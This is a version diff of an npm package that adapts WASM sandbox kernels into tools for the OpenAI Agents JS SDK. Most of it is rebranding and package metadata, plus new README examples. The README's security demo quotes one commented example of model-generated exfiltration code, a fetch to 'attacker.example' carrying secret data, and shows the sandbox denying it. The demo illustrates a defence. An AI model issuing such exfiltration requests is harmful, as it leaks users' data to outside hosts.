@wasmagent/openai-agents 0.1.0 → 1.0.3

package/LICENSE

@@ -186,7 +186,7 @@
       same "printed page" as the copyright notice for easier
       identification within third-party archives.
 
-   Copyright 2026 agentkit-js contributors
+   Copyright 2026 WasmAgent contributors
 
    Licensed under the Apache License, Version 2.0 (the "License");
    you may not use this file except in compliance with the License.

package/README.md

@@ -21,10 +21,43 @@ isolation. It does **not** cover:
 - Workloads where 50 ms is too long for cold start and per-second container
   billing dominates the cost.
 
-The agentkit kernels live below the OS line — QuickJS-in-WASM, Pyodide-in-WASM,
+The wasmagent kernels live below the OS line — QuickJS-in-WASM, Pyodide-in-WASM,
 or Wasmtime — so they run wherever JS runs. This package binds them to the
 Agents JS `Tool` shape.
 
+## Before / After
+
+Replacing the OpenAI built-in `code_interpreter` tool with a wasmagent WASM kernel:
+
+```diff
+ const agent = new Agent({
+   name: "math-helper",
+   tools: [
+-    { type: "code_interpreter" },   // ← hosted, no edge support, per-session billing
++    sandboxedJsAgentTool({ kernel: new QuickJSKernel() }),
++    // ↑ in-process, edge-safe, $0/call, full CapabilityManifest
+   ],
+ });
+```
+
+Full before/after:
+
+```diff
++import { sandboxedJsAgentTool } from "@wasmagent/openai-agents";
++import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+
+ const agent = new Agent({
+   name: "math-helper",
+   tools: [
+-    { type: "code_interpreter" },
++    sandboxedJsAgentTool({
++      kernel: new QuickJSKernel(),
++      capabilities: { allowedHosts: [] },
++    }),
+   ],
+ });
+```
+
 ## Install
 
 ```bash
@@ -71,7 +104,7 @@ const agent = new Agent({ name: "ops", tools: [portalTool] });
 
 ## Kernel selection — pick the right tier
 
-`sandboxedJsAgentTool()` and `codeModeAgentTool()` accept any agentkit
+`sandboxedJsAgentTool()` and `codeModeAgentTool()` accept any wasmagent
 kernel. The choice is independent of the SDK adapter — swap kernels in
 one line, the rest of your code is unchanged:
 
@@ -84,6 +117,33 @@ one line, the rest of your code is unchanged:
 
 Swap is a one-liner — `kernel: new QuickJSKernel()` becomes `kernel: new PyodideKernel()`. Same `CapabilityManifest`, same OpenAI Agents JS `Tool<T>` shape.
 
+## Security demo
+
+`CapabilityManifest` enforces network and filesystem policy at the kernel
+boundary — the model cannot escape it regardless of what code it generates:
+
+```ts
+import { sandboxedJsAgentTool } from "@wasmagent/openai-agents";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+
+const kernel = new QuickJSKernel();
+const tool = sandboxedJsAgentTool({
+  kernel,
+  capabilities: {
+    allowedHosts: [],           // no outbound network
+    allowedPaths: [],           // no filesystem access
+    cpuMs: 5_000,
+    memoryLimitBytes: 64 * 1024 * 1024,
+  },
+});
+
+// Model-generated code that tries to exfiltrate data:
+// fetch("https://attacker.example/exfil?data=secret")
+// → throws: network access denied — host "attacker.example" not in allowedHosts
+```
+
+The same manifest applies to both `sandboxedJsAgentTool` and `codeModeAgentTool`.
+
 ## Capability manifest
 
 Same `CapabilityManifest` as the other adapters — see

package/dist/index.d.ts

@@ -1,5 +1,5 @@
 /**
- * @wasmagent/openai-agents — agentkit kernels as OpenAI Agents JS tools.
+ * @wasmagent/openai-agents — WasmAgent kernels as OpenAI Agents JS tools.
  *
  * The OpenAI Agents JS SDK (`@openai/agents`) accepts a `Tool`-shaped
  * definition: `{ name, description, parameters (Zod), execute(input) }`.

package/dist/index.js

@@ -1,5 +1,5 @@
 /**
- * @wasmagent/openai-agents — agentkit kernels as OpenAI Agents JS tools.
+ * @wasmagent/openai-agents — WasmAgent kernels as OpenAI Agents JS tools.
  *
  * The OpenAI Agents JS SDK (`@openai/agents`) accepts a `Tool`-shaped
  * definition: `{ name, description, parameters (Zod), execute(input) }`.

package/dist/memory.d.ts

@@ -1,7 +1,7 @@
 /**
  * @wasmagent/openai-agents — Memory tool adapter (D3, 2026-06-13).
  *
- * Exposes agentkit's `createMemoryTool` (cross-session KV-backed memory)
+ * Exposes WasmAgent's `createMemoryTool` (cross-session KV-backed memory)
  * as an OpenAI Agents JS Tool.
  *
  * See `@wasmagent/aisdk/memory` for the rationale (D3 cross-framework

package/dist/memory.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"memory.d.ts","sourceRoot":"","sources":["../src/memory.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH,OAAO,EAEL,KAAK,iBAAiB,EACvB,MAAM,iBAAiB,CAAC;AAGzB,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAElD,wBAAgB,eAAe,CAAC,IAAI,EAAE,iBAAiB,GAAG,eAAe,CAAC,OAAO,EAAE,MAAM,CAAC,CAUzF;AAED,OAAO,EAAE,mBAAmB,EAAE,MAAM,iBAAiB,CAAC;AACtD,YAAY,EAAE,iBAAiB,EAAE,CAAC"}
+{"version":3,"file":"memory.d.ts","sourceRoot":"","sources":["../src/memory.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH,OAAO,EAA4C,KAAK,iBAAiB,EAAE,MAAM,iBAAiB,CAAC;AAGnG,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAElD,wBAAgB,eAAe,CAAC,IAAI,EAAE,iBAAiB,GAAG,eAAe,CAAC,OAAO,EAAE,MAAM,CAAC,CAUzF;AAED,OAAO,EAAE,mBAAmB,EAAE,MAAM,iBAAiB,CAAC;AACtD,YAAY,EAAE,iBAAiB,EAAE,CAAC"}

package/dist/memory.js

@@ -1,13 +1,13 @@
 /**
  * @wasmagent/openai-agents — Memory tool adapter (D3, 2026-06-13).
  *
- * Exposes agentkit's `createMemoryTool` (cross-session KV-backed memory)
+ * Exposes WasmAgent's `createMemoryTool` (cross-session KV-backed memory)
  * as an OpenAI Agents JS Tool.
  *
  * See `@wasmagent/aisdk/memory` for the rationale (D3 cross-framework
  * memory product surface).
  */
-import { createMemoryTool as createMemoryToolCore, } from "@wasmagent/core";
+import { createMemoryTool as createMemoryToolCore } from "@wasmagent/core";
 export function memoryAgentTool(opts) {
     const core = createMemoryToolCore(opts);
     return {

package/dist/memory.js.map

@@ -1 +1 @@
-{"version":3,"file":"memory.js","sourceRoot":"","sources":["../src/memory.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH,OAAO,EACL,gBAAgB,IAAI,oBAAoB,GAEzC,MAAM,iBAAiB,CAAC;AAKzB,MAAM,UAAU,eAAe,CAAC,IAAuB;IACrD,MAAM,IAAI,GAAG,oBAAoB,CAAC,IAAI,CAAC,CAAC;IACxC,OAAO;QACL,IAAI,EAAE,QAAQ;QACd,WAAW,EAAE,IAAI,CAAC,WAAW;QAC7B,UAAU,EAAE,IAAI,CAAC,WAAiC;QAClD,KAAK,CAAC,OAAO,CAAC,KAAK;YACjB,OAAO,IAAI,CAAC,OAAO,CAAC,KAAc,CAAC,CAAC;QACtC,CAAC;KACF,CAAC;AACJ,CAAC;AAED,OAAO,EAAE,mBAAmB,EAAE,MAAM,iBAAiB,CAAC"}
+{"version":3,"file":"memory.js","sourceRoot":"","sources":["../src/memory.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH,OAAO,EAAE,gBAAgB,IAAI,oBAAoB,EAA0B,MAAM,iBAAiB,CAAC;AAKnG,MAAM,UAAU,eAAe,CAAC,IAAuB;IACrD,MAAM,IAAI,GAAG,oBAAoB,CAAC,IAAI,CAAC,CAAC;IACxC,OAAO;QACL,IAAI,EAAE,QAAQ;QACd,WAAW,EAAE,IAAI,CAAC,WAAW;QAC7B,UAAU,EAAE,IAAI,CAAC,WAAiC;QAClD,KAAK,CAAC,OAAO,CAAC,KAAK;YACjB,OAAO,IAAI,CAAC,OAAO,CAAC,KAAc,CAAC,CAAC;QACtC,CAAC;KACF,CAAC;AACJ,CAAC;AAED,OAAO,EAAE,mBAAmB,EAAE,MAAM,iBAAiB,CAAC"}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@wasmagent/openai-agents",
-  "version": "0.1.0",
+  "version": "1.0.3",
   "description": "Drop wasmagent sandbox kernels into the OpenAI Agents JS SDK as a Tool — edge-safe code execution with one capability manifest, no E2B sandbox needed",
   "type": "module",
   "main": "./dist/index.js",
@@ -14,11 +14,11 @@
   "scripts": {
     "build": "tsc -p tsconfig.json",
     "typecheck": "tsc -p tsconfig.json --noEmit",
-    "test": "vitest run",
+    "test": "bun test",
     "clean": "rm -rf dist .turbo"
   },
   "dependencies": {
-    "@wasmagent/core": "workspace:*"
+    "@wasmagent/core": "^1.0.3"
   },
   "peerDependencies": {
     "@openai/agents": ">=0.1.0",
@@ -35,7 +35,6 @@
   "devDependencies": {
     "@types/node": "^22.0.0",
     "typescript": "^5.7.0",
-    "vitest": "^2.1.0",
     "zod": "^3.22.0"
   },
   "engines": {
@@ -50,6 +49,10 @@
     "tool",
     "wasmagent"
   ],
+  "wasmagent": {
+    "tier": "tier-1",
+    "stability": "stable"
+  },
   "license": "Apache-2.0",
   "repository": {
     "type": "git",
@@ -61,8 +64,7 @@
     "url": "https://github.com/WasmAgent/wasmagent-js/issues"
   },
   "publishConfig": {
-    "access": "public",
-    "provenance": false
+    "access": "public"
   },
   "files": [
     "dist",